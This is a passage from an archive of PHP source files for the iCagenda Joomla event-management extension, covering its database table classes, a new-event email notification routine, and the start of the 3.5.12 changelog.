			if (strtotime($date_NextDates) < strtotime($date_NextPeriod))
			{
				$array['next'] = $this->getNextPeriod($period, $array['weekdays']);
			}
			else
			{
				$array['next'] = $this->getNextDates($dates);
			}
		}

		// Control of dates if valid (EDIT SINCE VERSION 3.0 - update 3.1.4)
		if (((strtotime($NextDates) >= '943916400')
			&& (strtotime($NextDates) <= '944002800'))
			&& ($errorperiod == '1'))
		{
			$array['next'] = '-3600';
		}
		if (((strtotime($NextDates)=='943916400') || (strtotime($NextDates)=='943920000'))
			&& ((strtotime($NextPeriod)=='943916400') || (strtotime($NextPeriod)=='943920000')))
		{
			$array['next'] = '-3600';
		}

		if ($array['next'] == '-3600')
		{
			$state = 0;
			$this->_db->setQuery(
			'UPDATE `#__icagenda_events`' .
			' SET `state` = '.(int) $state .
			' WHERE `id` = '. (int) $array['id']
			);
			if(version_compare(JVERSION, '3.0', 'lt'))
			{
				$this->_db->query();
			}
			else
			{
				$this->_db->execute();
			}
		}

		$return[] = parent::bind($array, $ignore);


		// ====================================
		// START : HACK FOR A FEW PRO USERS !!!
		// ====================================

		$mail_new_event = JComponentHelper::getParams('com_icagenda')->get('mail_new_event', '0');
		if ($mail_new_event == 1)
		{
			$title = $array['title'];
			$id_event = $array['id'];
			$db = JFactory::getDbo();
			$query	= $db->getQuery(true);
			$query->select('id AS eventID')
					->from('#__icagenda_events')
					->order('id DESC');
			$db->setQuery($query);
			$eventID = $db->loadResult();
			$new_event = JRequest::getVar('new_event');
			$title = $array['title'];
			$description = $array['desc'];
			$venue = '';
			if ($array['place']) $venue.= $array['place'].' - ';
			if ($array['city']) $venue.= $array['city'];
			if ($array['city'] && $array['country']) $venue.= ', ';
			if ($array['country']) $venue.= $array['country'];
			if (strtotime($array['startdate']))
			{
				$date = 'Du '.$array['startdate'].' au '.$array['startdate'];
			}
			else
			{
				$date = $array['next'];
			}
			$baseURL = JURI::base();
			$baseURL = str_replace('/administrator', '', $baseURL);
			$baseURL = ltrim($baseURL, '/');
			if ($array['image']) $image = '<img src="'.$baseURL.'/'.$array['image'].'" />';
			if ($new_event == '1' && $eventID && $array['state'] == '1' && $array['approval'] == '0')
			{
					$return[] = self::notificationNewEvent(($eventID+1), $title, $description, $venue, $date, $image, $new_event);
			}
		}

		// ====================================
		// END : HACK FOR A FEW PRO USERS !!!
		// ====================================


		return $return;

	}

	/**
	 * DEV.
	 */
	function setDatesOptions($dates) // DEV.
	{
		$dates	= str_replace('day=', '', $dates);
		$dates	= str_replace('start=', '', $dates);
		$dates	= str_replace('end=', '', $dates);
//		$dates	= str_replace('+', ' ', $dates);
		$dates	= str_replace('%3A', ':', $dates);
		$dates	= str_replace('&', ',', $dates);

		$ex_dates = explode(',stop=stop', $dates);

		$singles_dates = array();

		foreach ($ex_dates AS $sd)
		{
			if ($sd != '')
			{
				array_push($singles_dates, $sd);
			}
		}

		return $singles_dates;
	}

	/**
	 * Get Dates for Single Dates Script Input
	 */
	function getDates($dates)
	{
		$dates		= str_replace('d=', '', $dates);
		$dates		= str_replace('+', ' ', $dates);
		$dates		= str_replace('%3A', ':', $dates);
		$ex_dates	= explode('&', $dates);

		return $ex_dates;
	}

	/**
	 * Get Next Date from Single Dates
	 */
	function getNextDates($dates)
	{
		// Set Vars
		$eventTimeZone	= null;
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone

		// Get Next
		$next			= JRequest::getVar('next');

		if (count($dates))
		{
			while (strtotime($next) <= strtotime($date_today))
			{
				$nextDate = $dates[0];

				foreach ($dates as $d)
				{
					if (strtotime($d) >= strtotime($date_today))
					{
						$nextDate = $d;
					}
				}

//				return JHtml::date($nextDate, 'Y-m-d H:i', $eventTimeZone);
				return date('Y-m-d H:i', strtotime($nextDate));
			}
		}
	}

	/**
	 * Get Next Date from Period
	 */
	function getNextPeriod($period, $i_weekdays)
	{
		// Set Vars
		$eventTimeZone	= null;
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone

		$WeeksDays = iCDatePeriod::weekdaysToArray($i_weekdays);

		// Set Next Date for Period, if dates exist in Period
		if (count($period))
		{
			$nextPeriod	= $period[0];

			foreach ($period as $e)
			{
				if (in_array(date('w', strtotime($e)), $WeeksDays))
				{
					if (strtotime($e) >= strtotime($date_today)) // if datetime in period >= date today
					{
						$nextPeriod = $e;
					}
				}
			}

//			return JHtml::date($nextPeriod, 'Y-m-d H:i', $eventTimeZone);
			return date('Y-m-d H:i', strtotime($nextPeriod));
		}
	}

	/**
	* Overloaded check function
	*/
	public function check()
	{
		// If there is an ordering column and this is a new row then get the next ordering value
		if (property_exists($this, 'ordering') && $this->id == 0)
		{
			$this->ordering = self::getNextOrder();
		}

		return parent::check();
	}


	/**
	* Method to set the publishing state for a row or list of rows in the database
	* table.  The method respects checked out rows by other users and will attempt
	* to checkin rows that it can after adjustments are made.
	*
	* @param	mixed	An optional array of primary key values to update.  If not
	*					set the instance property value is used.
	* @param    integer The publishing state. eg. [0 = unpublished, 1 = published]
	* @param    integer The user id of the user performing the operation.
	* @return    boolean    True on success.
	* @since    1.0.4
	*/
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		// Initialise variables.
		$k = $this->_tbl_key;

		// Sanitize input.
		JArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));
				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k.'='.implode(' OR '.$k.'=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')';
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE `'.$this->_tbl.'`' .
			' SET `state` = '.(int) $state .
			' WHERE ('.$where.')' .
			$checkin
		);
		$this->_db->query();

		// Check for a database error.
		if ($this->_db->getErrorNum())
		{
			$this->setError($this->_db->getErrorMsg());
			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}


	/**
	 * HACK FOR A FEW PRO USERS !!!
	 *
	 * Will be removed when creation of a notification plugin
	 *
	 */
	function notificationNewEvent ($eventid, $title, $description, $venue, $date, $image, $new_event)
	{
		// Load iCagenda Global Options
		$iCparams = JComponentHelper::getParams('com_icagenda');

		// Load Joomla Config
		$config = JFactory::getConfig();

		// Switch Joomla 3.x / 2.5
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			// Get the site name
			$sitename = $config->get('sitename');

			// Get Global Joomla Contact Infos
			$mailfrom = $config->get('mailfrom');
			$fromname = $config->get('fromname');

			// Get default language
			$langdefault = $config->get('language');
		}
		else
		{
			// Get the site name
			$sitename = $config->getValue('config.sitename');

			// Get Global Joomla Contact Infos
			$mailfrom = $config->getValue('config.mailfrom');
			$fromname = $config->getValue('config.fromname');

			// Get default language
			$langdefault = $config->getValue('config.language');
		}

		$siteURL = JURI::base();
		$siteURL = rtrim($siteURL,'/');

		$iCmenuitem = false;

		// Itemid Request (automatic detection of the first iCagenda menu-link, by menuID, and depending of current language)

		$langFrontend = $langdefault;
		$db = JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('id AS idm')
				->from('#__menu')
				->where( "(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '$langFrontend')" );
		$db->setQuery($query);
		$idm = $db->loadResult();
		$mItemid = $idm;

		if ($mItemid == NULL)
		{
				$db = JFactory::getDbo();
				$query	= $db->getQuery(true);
				$query->select('id AS noidm')
						->from('#__menu')
						->where( "(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '*')" );
				$db->setQuery($query);
				$noidm = $db->loadResult();
		}

		$nolink = '';

		if ($noidm == NULL && $mItemid == NULL)
		{
				$nolink = 1;
		}

		if (is_numeric($iCmenuitem))
		{
				$lien = $iCmenuitem;
		}
		else
		{
			if ($mItemid == NULL)
			{
					$lien = $noidm;
			}
			else
			{
					$lien = $mItemid;
			}
		}

		// Set Notification Email to each User groups allowed to receive a notification email when a new event created
		$groupid = $iCparams->get('newevent_Groups', array("8"));

		jimport( 'joomla.access.access' );
		$newevent_Groups_Array = array();
		foreach ($groupid AS $gp) {
			$GroupUsers = JAccess::getUsersByGroup($gp, False);
			$newevent_Groups_Array = array_merge($newevent_Groups_Array, $GroupUsers);
		}

		$db = JFactory::getDbo();
		$query	= $db->getQuery(true);

		$matches = implode(',', $newevent_Groups_Array);
		$query->select('ui.username AS username, ui.email AS email, ui.password AS passw, ui.block AS block, ui.activation AS activation')
			->from('#__users AS ui')
			->where( "ui.id IN ($matches) ");
		$db->setQuery($query);
		$users = $db->loadObjectList();

		foreach ($users AS $user)
		{
			// Create Notification Mailer
			$new_mailer = JFactory::getMailer();

			// Set Sender of Notification Email
			$new_mailer->setSender(array( $mailfrom, $fromname ));

        	$username = $user->username;
        	$passw = $user->passw;
        	$email = $user->email;

			// Set Recipient of Notification Email
			$new_recipient = $email;
			$new_mailer->addRecipient($email);

			// Set Subject of New Event Notification Email
			$new_subject = 'Nouvel évènement, '.$sitename;
			$new_mailer->setSubject($new_subject);

			// Set Url to preview new event
			$baseURL = JURI::base();
			$baseURL = str_replace('/administrator', '', $baseURL);

			$urlpreview = str_replace('&amp;','&', JRoute::_($baseURL.'index.php?option=com_icagenda&view=list&layout=event&id='.(int)$eventid.'&Itemid='.(int)$lien));

			// Set Body of User Notification Email
			$new_body_hello = 'Bonjour,';
			$new_bodycontent = $new_body_hello.'<br /><br />';
			$new_body_text = $sitename.' vous propose un nouvel évènement :';
			$new_bodycontent.= $new_body_text.'<br /><br />';

			// Event Details
			$new_bodycontent.= $title ? 'Titre: '.$title.'<br />' : '';
			$new_bodycontent.= $description ? 'Description: '.$description.'<br />' : '';
			$new_bodycontent.= $venue ? 'Lieu: '.$venue.'<br />' : '';
			$new_bodycontent.= $date ? 'Date: '.$date.'<br /><br />' : '';
			$new_bodycontent.= $image.'<br /><br />';

			// Link to event details view
			$new_bodycontent.= '<a href="'.$urlpreview.'">'.$urlpreview.'</a><br /><br />';

			// Footer
			$new_body_footer = 'Do not answer to this e-mail notification as it is a generated e-mail. You are receiving this email message because you are registered at '.$sitename.'.';
			$new_bodycontent.= '<hr><small>'.$new_body_footer.'<small>';

			// Removes spaces (leading, ending) from Body
			$new_body = rtrim($new_bodycontent);

			// Authorizes HTML
			$new_mailer->isHTML(true);
			$new_mailer->Encoding = 'base64';

			// Set Body
			$new_mailer->setBody($new_body);

			// Send User Notification Email
			if (isset($email)) {
				if($user->block == '0' && empty($user->activation)){
					$send = $new_mailer->Send();
				}
			}
		}
	}
}
com_icagenda/tables/icagenda.php000060400000004357152455305270012670 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-06-29
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// import Joomla table library
jimport('joomla.database.table');

/**
 * iCagenda Table class
 */
class iCagendaTableiCagenda extends JTable
{
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db)
	{
		parent::__construct('#__icagenda_events', 'id', $db);
	}
	/**
	 * Overloaded bind function
	 *
	 * @param       array           named array
	 * @return      null|string     null is operation was satisfactory, otherwise returns an error
	 * @see JTable:bind
	 * @since 1.5
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params']))
		{
			// Convert the params field to a string.
			$parameter = new JRegistry;
			$parameter->loadArray($array['params']);
			$array['params'] = (string)$parameter;
		}
		return parent::bind($array, $ignore);
	}

	/**
	 * Overloaded load function
	 *
	 * @param       int $pk primary key
	 * @param       boolean $reset reset data
	 * @return      boolean
	 * @see JTable:load
	 */
	public function load($pk = null, $reset = true)
	{
		if (parent::load($pk, $reset))
		{
			// Convert the params field to a registry.
			$params = new JRegistry;
                       // loadJSON is @deprecated    12.1  Use loadString passing JSON as the format instead.
                       // $params->loadString($this->item->params, 'JSON');
                       // "item" should not be present.
                       $params->loadJSON($this->params);

			$this->params = $params;
			return true;
		}
		else
		{
			return false;
		}
	}
}
com_icagenda/tables/customfield.php000060400000014075152455305270013451 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-03
 * @since		3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Custom Field Table class
 */
class iCagendaTablecustomfield extends JTable
{
	/**
	 * Constructor
	 *
	 * @param	JDatabase A database connector object
	 * @since	3.4.0
	 */
	public function __construct(&$_db)
	{
		parent::__construct('#__icagenda_customfields', 'id', $_db);
	}

	/**
	 * Overloaded bind function.
	 *
	 * @param	array		Named array
	 * @return	null|string	null is operation was satisfactory, otherwise returns an error
	 * @see		JTable:bind
	 * @since	3.4.0
	 */
	public function bind($array, $ignore = '')
	{
		// Set Creator infos
		$user = JFactory::getUser();
		$userId	= $user->get('id');

		if ($array['created_by']=='0')
		{
			$array['created_by'] = (int)$userId;
		}

		// Set Params
		if (isset($array['params']) && is_array($array['params']))
		{
			$registry = new JRegistry();
			$registry->loadArray($array['params']);
			$array['params'] = (string)$registry;
		}

		return parent::bind($array, $ignore);
	}

    /**
    * Overloaded check function
	* @since	3.4.0
    */
    public function check()
    {
		// Import Joomla 2.5
		jimport( 'joomla.filter.output' );

		// If there is an ordering column and this is a new row then get the next ordering value
		if (property_exists($this, 'ordering')
			&& $this->id == 0)
		{
			$this->ordering = self::getNextOrder();
		}

		// URL alias
		if (empty($this->alias))
		{
			$this->alias = $this->title;
		}

		$this->alias = JFilterOutput::stringURLSafe($this->alias);

		// Alias is not generated if non-latin characters, so we fix it by using created date, or title if unicode is activated, as alias
		if ($this->alias == null || empty($this->alias))
		{
			if (JFactory::getConfig()->get('unicodeslugs') == 1)
			{
				$this->alias = JFilterOutput::stringURLUnicodeSlug($this->title);
			}
			else
			{
				$this->alias = JFilterOutput::stringURLSafe($this->created);
			}
		}

		// Slug auto-create
		$slug_empty = empty($this->slug) ? true : false;

		if ($slug_empty)
		{
			$this->slug = $this->title;
		}
		$this->slug = iCFilterOutput::stringToSlug($this->slug);

		// Slug is not generated if non-latin characters, so we fix it by using created date as a slug
		if ($this->slug == null)
		{
			$this->slug = iCFilterOutput::stringToSlug($this->created);
		}

		// Check if Slug already exists
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('slug')
			->from($db->qn('#__icagenda_customfields'))
			->where($db->qn('slug') . ' = ' . $db->q($this->slug));

		if (!empty($this->id))
		{
			$query->where('id <> ' . (int) $this->id);
		}

		$db->setQuery($query);
		$slug_exists = $db->loadResult();

		if ($slug_exists)
		{
			$error_slug = $slug_empty
						? JText::sprintf('COM_ICAGENDA_CUSTOMFIELD_DATABASE_ERROR_AUTO_SLUG',
										'<strong>' . $this->title . '</strong>', '<strong>' . $this->slug . '</strong>')
						: '<strong>' . JText::_('COM_ICAGENDA_CUSTOMFIELD_DATABASE_ERROR_UNIQUE_SLUG') . '</strong>';

			$this->setError($error_slug . '<br /><br /><span class="iCicon-info-circle"></span> <i>'
							. JTEXT::_('COM_ICAGENDA_CUSTOMFIELD_SLUG_DESC').'</i>');

			return false;
		}

		return parent::check();
	}


    /**
     * Method to set the publishing state for a row or list of rows in the database
     * table.  The method respects checked out rows by other users and will attempt
     * to checkin rows that it can after adjustments are made.
     *
     * @param	mixed		An optional array of primary key values to update.  If not
     *						set the instance property value is used.
     * @param	integer		The publishing state. eg. [0 = unpublished, 1 = published]
     * @param	integer		The user id of the user performing the operation.
     * @return	boolean		True on success.
	 * @since	3.4.0
     */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		// Initialise variables.
		$k = $this->_tbl_key;

		// Sanitize input.
		JArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
            }
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));
				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k.'='.implode(' OR '.$k.'=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')';
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE `'.$this->_tbl.'`' .
			' SET `state` = '.(int) $state .
			' WHERE ('.$where.')' .
			$checkin
		);
		$this->_db->query();

		// Check for a database error.
		if ($this->_db->getErrorNum())
		{
			$this->setError($this->_db->getErrorMsg());
			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');
		return true;
	}
}
com_icagenda/tables/registration.php000060400000010001152455305270013626 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-27
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * category Table class
 */
class iCagendaTableregistration extends JTable
{
	/**
	 * Constructor
	 *
	 * @param JDatabase A database connector object
	 */
	public function __construct(&$_db)
	{
		parent::__construct('#__icagenda_registration', 'id', $_db);
	}

	/**
	 * Overloaded bind function to pre-process the params.
	 *
	 * @param	array		Named array
	 * @return	null|string	null is operation was satisfactory, otherwise returns an error
	 * @see		JTable:bind
	 * @since	3.3.3
	 */
	public function bind($array, $ignore = '')
	{
		if ($array['date'] == 'update')
		{
			$array['date'] = '';
		}

		return parent::bind($array, $ignore);
	}

    /**
    * Overloaded check function
    */
    public function check()
    {
		// If there is an ordering column and this is a new row then get the next ordering value
		if (property_exists($this, 'ordering') && $this->id == 0)
		{
			$this->ordering = self::getNextOrder();
		}

		return parent::check();
    }


    /**
     * Method to set the publishing state for a row or list of rows in the database
     * table.  The method respects checked out rows by other users and will attempt
     * to checkin rows that it can after adjustments are made.
     *
     * @param    mixed    An optional array of primary key values to update.  If not
     *                    set the instance property value is used.
     * @param    integer The publishing state. eg. [0 = unpublished, 1 = published]
     * @param    integer The user id of the user performing the operation.
     * @return    boolean    True on success.
	 * @since	3.3.3
     */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		// Initialise variables.
		$k = $this->_tbl_key;

		// Sanitize input.
		JArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
            // Nothing to set publishing state on, return false.
            else
            {
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k.'='.implode(' OR '.$k.'=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')';
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE `'.$this->_tbl.'`' .
			' SET `state` = '.(int) $state .
			' WHERE ('.$where.')' .
			$checkin
		);
		$this->_db->query();

        // Check for a database error.
        if ($this->_db->getErrorNum())
        {
			$this->setError($this->_db->getErrorMsg());

			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_icagenda/tables/feature.php000060400000013566152455305270012572 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-05
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * feature Table class
 */
class iCagendaTablefeature extends JTable
{
	protected $new_icon = null;

	/**
	 * Constructor
	 *
	 * @param JDatabase A database connector object
	 * @since	3.4.0
	 */
	public function __construct(&$_db)
	{
		parent::__construct('#__icagenda_feature', 'id', $_db);
	}

	/**
	 * Overloaded bind function to pre-process the params.
	 *
	 * @param	array		Named array
	 * @return	null|string	null is operation was satisfactory, otherwise returns an error
	 * @see		JTable:bind
	 * @since	3.4.0
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['new_icon']))
		{
			// Get media path
			$params_media	= JComponentHelper::getParams('com_media');
			$image_path		= $params_media->get('image_path', 'images');

			// Paths to feature icons folder
			$thumbsPath		= $image_path . '/icagenda/feature_icons';

			// Get Image File Infos
			$link_image		= $array['new_icon'];
			$decomposition	= explode( '/' , $link_image );

			// in each parent
			$i = 0;

			while ( isset($decomposition[$i]) )
				$i++;
			$i--;

			$imgname		= $decomposition[$i];
			$fichier		= explode( '.', $decomposition[$i] );
			$imgtitle		= $fichier[0];
			$imgextension	= strtolower($fichier[1]);

			// Check file type if authorized to be generated as feature icon
			$authorized_types = array('jpg', 'jpeg', 'png', 'gif');

			if (!in_array($imgextension, $authorized_types) && $imgextension)
			{
				$this->setError('<strong>' . JText::_('COM_ICAGENDA_NOT_AUTHORIZED_IMAGE_TYPE') . '</strong><br />'
								. JText::_('COM_ICAGENDA_FORM_FEATURE_MIMETYPE_ERROR'));

				return false;
			}
			elseif ($imgextension)
			{
				// Clean icon name
				jimport( 'joomla.filter.output' );
				$icon_name = JFilterOutput::stringURLSafe($imgtitle) . '.' . $imgextension;

				// Generate 16_bit if not exist
				iCThumbGet::thumbnail($array['new_icon'], $thumbsPath, '16_bit', '16', '16', '100', false, '', '', '', $icon_name);

				// Generate 24_bit if not exist
				iCThumbGet::thumbnail($array['new_icon'], $thumbsPath, '24_bit', '24', '24', '100', false, '', '', '', $icon_name);

				// Generate 32_bit if not exist
				iCThumbGet::thumbnail($array['new_icon'], $thumbsPath, '32_bit', '32', '32', '100', false, '', '', '', $icon_name);

				// Generate 48_bit if not exist
				iCThumbGet::thumbnail($array['new_icon'], $thumbsPath, '48_bit', '48', '48', '100', false, '', '', '', $icon_name);

				// Generate 64_bit if not exist
				iCThumbGet::thumbnail($array['new_icon'], $thumbsPath, '64_bit', '64', '64', '100', false, '', '', '', $icon_name);

				$array['icon'] = $icon_name;
			}
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Overloaded check function
	 * @since	3.4.0
	*/
	public function check()
	{
		// If there is an ordering column and this is a new row then get the next ordering value
		if (property_exists($this, 'ordering') && $this->id == 0)
		{
			$this->ordering = self::getNextOrder();
		}

		return parent::check();
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table.  The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param	mixed    An optional array of primary key values to update.  If not
	 *                    set the instance property value is used.
	 * @param	integer The publishing state. eg. [0 = unpublished, 1 = published]
	 * @param	integer The user id of the user performing the operation.
	 * @return	boolean    True on success.
	 * @since	3.4.0
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		// Initialise variables.
		$k = $this->_tbl_key;

		// Sanitize input.
		JArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));
				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k.'='.implode(' OR '.$k.'=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')';
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE `'.$this->_tbl.'`' .
			' SET `state` = '.(int) $state .
			' WHERE ('.$where.')' .
			$checkin
		);
		$this->_db->query();

		// Check for a database error.
		if ($this->_db->getErrorNum())
		{
			$this->setError($this->_db->getErrorMsg());

			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_icagenda/tables/index.html000060400000000032152455305270012403 0ustar00<html><body></body></html>com_icagenda/CHANGELOG.php000060400000436351152455305270011155 0ustar00<?php defined('_JEXEC') or die(); ?>

<div style="text-align:center"><img src='../media/com_icagenda/images/iconicagenda48.png' alt='iCagenda' /><br/><big style="color:#555">ChangeLog</big></div>
================================================================================
? <center><strong><big>Welcome to iCagenda 3.5.12 release!</big></strong></center><br />This is a maintenance release. See the release notes for details.<br />We recommend every user to update, to keep your iCagenda updated.<br />
================================================================================
: <span class="ic-box-important ic-box-12">!</span><span class="ic-important">important</span>&nbsp;<span class="ic-box-added ic-box-12">+</span><span class="ic-added">added</span>&nbsp;<span class="ic-box-removed ic-box-12">-</span><span class="ic-removed">removed</span>&nbsp;<span class="ic-box-changed ic-box-12">~</span><span class="ic-changed">changed</span>&nbsp;<span class="ic-box-fixed ic-box-12">#</span><span class="ic-fixed">fixed</span><br/><i>Info: access to the beta versions and pre-releases are reserved to users with a valid pro subscription.</i><br/>iCagenda™ is distributed under the terms of the GNU General Public License version 3 or later; see LICENSE.txt.
================================================================================


iCagenda 3.5.12 <small style="font-weight:normal;">(2015.10.12)</small>
================================================================================
+ Added : option field 'Time display' in 'Submit an event' form.
+ Added : global option to Select if 'Time Display' option is set by default on 'Show' or 'hide' when creating a new event ('General Settings' tab of the Global Options of the component).
+ Added : missing separator option in global options for date format.
+ [MODULE iC calendar] Added : option to set custom limit for auto-intro description.
+ [MODULE iC Event List][PRO] Added : option to set HTML filtering for auto-intro description.
~ Changed : use global date format option in registrations list, and display start and end date when registration for a period.
# [MODULE iC calendar][LOW] Fixed : display of "booking closed" when events only singles dates, and all upcoming, but registration type option for this event is set to "for all dates of the event".
# [MODULE iC calendar][LOW] Fixed : in "auto" mode for option "Link to Menu Item", the global option for filter by dates was not defined, if not on a list of events page ("auto" not working properly in this case, in a few cases, depending of your settings, if one at least of the menu item(s) to a list of events was set to use global options for Filter by dates).
# [MODULE iC calendar][LOW] Fixed : option for filtering HTML tags of intro-text not working in tooltip if not on list of events page.
# [LOW] Fixed : not displaying full address if country and/or city included in the place name.
# [LOW] Fixed : display of long content in registrations admin list (overlap in data display).

* Changed files in 3.5.12
~ admin/config.xml
~ admin/models/event.php
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/utilities/events/events.php
~ admin/utilities/menus/menus.php
~ admin/views/registrations/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
